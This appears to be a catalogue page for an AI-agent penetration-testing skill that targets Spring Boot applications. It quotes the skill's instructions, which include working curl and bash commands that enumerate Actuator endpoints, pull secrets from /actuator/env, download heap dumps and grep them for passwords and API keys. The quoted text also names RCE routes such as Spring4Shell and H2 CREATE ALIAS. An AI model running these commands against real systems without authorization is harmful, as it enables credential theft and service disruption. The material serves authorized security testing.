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Security48k · #3289

hunt-springboot

Helps your agent identify Spring Boot specific vulnerabilities. It's useful for protecting applications developed with this technology.

What it does

This tool helps find specific security flaws in applications built with Spring Boot. It looks for exposed sensitive information and ways to remotely execute commands.

When to use it

  • ✓When testing the security of a Spring Boot application.
  • ✓To check if secrets like passwords have been exposed.
  • ✓To identify known vulnerabilities in Spring Boot applications.

Example of what to ask your AI

“Scan the application at https://example.com for known Spring Boot vulnerabilities.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool tries to access common paths in Spring Boot applications that might expose sensitive data or allow command execution. It checks endpoints like '/actuator/heapdump' and '/actuator/env' to find confidential information.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-springboot

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

Crown Jewel Targets

Spring Boot Actuator /actuator/heapdump exposed = heap dump with all secrets in memory.

Highest-value findings:

  • /actuator/heapdump — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
  • /actuator/env — lists all environment variables and Spring properties including secrets
  • /actuator/shutdown — POST → shuts down the application (Critical availability impact)
  • H2 Console (/h2-console) — in-memory DB admin UI → SQL query execution → potential RCE via CREATE ALIAS trick
  • SpEL injection — Spring Expression Language in template fields, @Value annotations, SpEL-processed request params → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

Phase 1 — Fingerprint Spring Boot

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

Phase 2 — Actuator Endpoint Enumeration

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

Phase 3 — Heap Dump Analysis

# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Stripe keys

…
FAQ

What are 'endpoints' in Spring Boot?

Endpoints are paths (URLs) in an application that provide information or functionality. In Spring Boot, some endpoints, like those in 'actuator', can expose internal data if not properly secured.

What is a 'heap dump'?

A heap dump is a 'snapshot' of a program's memory while it's running. It can contain sensitive information like passwords, API keys, and tokens that were in memory when the snapshot was taken.

What does 'RCE' mean?

RCE stands for 'Remote Code Execution'. It's a serious vulnerability that allows an attacker to run commands on the server where the application is running.

Details

Original description by the author

Hunt Spring Boot specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3289
License
MIT
Updated
10/15/2026

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